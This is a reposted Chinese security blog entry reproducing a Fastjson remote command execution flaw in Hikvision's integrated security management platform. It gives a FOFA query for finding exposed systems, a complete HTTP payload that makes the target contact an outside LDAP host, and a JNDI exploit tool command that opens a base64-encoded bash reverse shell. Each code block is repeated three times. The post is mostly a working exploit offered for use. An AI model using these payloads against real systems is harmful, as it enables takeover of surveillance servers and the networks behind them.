HIKVISION 综合安防管理平台 applyCT Fastjson远程命令执行漏洞,网络安全爱好者中心-神域博客网

本文转载于公众号：融云攻防实验室，原文地址：

0x01 阅读须知

资源来源于网络，安全小天地只是再次进行分享，使用请遵循本站的免责申明

0x02 漏洞描述

海康威视综合安防管理平台,可以对接入的视频监控点集中管理,实现统一部署、统一配置、统一管理和统一调度。海康威视综合安防管理平台存在Fastjson远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限。

图片[1]-HIKVISION 综合安防管理平台 applyCT Fastjson远程命令执行漏洞-安全小天地

0x03 漏洞复现

fofa：app=”HIKVISION-综合安防管理平台”

1.使用POC执行ldap访问dnslog命令，得到回显


POST /bic/ssoService/v1/applyCT HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://fofa.info/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 200
{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://6setlb.dnslog.cn\",\"autoCommit\":true},\"hfe4zyyzldp\":\"=\"}
POST /bic/ssoService/v1/applyCT HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://fofa.info/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 200

{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://6setlb.dnslog.cn\",\"autoCommit\":true},\"hfe4zyyzldp\":\"=\"}
POST /bic/ssoService/v1/applyCT HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://fofa.info/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 200

{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://6setlb.dnslog.cn\",\"autoCommit\":true},\"hfe4zyyzldp\":\"=\"}

图片[2]-HIKVISION 综合安防管理平台 applyCT Fastjson远程命令执行漏洞-安全小天地

2.也可使用JNDI利用工具进行进一步利用，如下


1.工具下载:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
2.开启rmi/jndi服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C \"bash -c {echo,bash反弹shell脚本base64编码}|{base64,-d}|{bash,-i}\" -A IP
1.工具下载:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

2.开启rmi/jndi服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C \"bash -c {echo,bash反弹shell脚本base64编码}|{base64,-d}|{bash,-i}\" -A IP
1.工具下载:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

2.开启rmi/jndi服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C \"bash -c {echo,bash反弹shell脚本base64编码}|{base64,-d}|{bash,-i}\" -A IP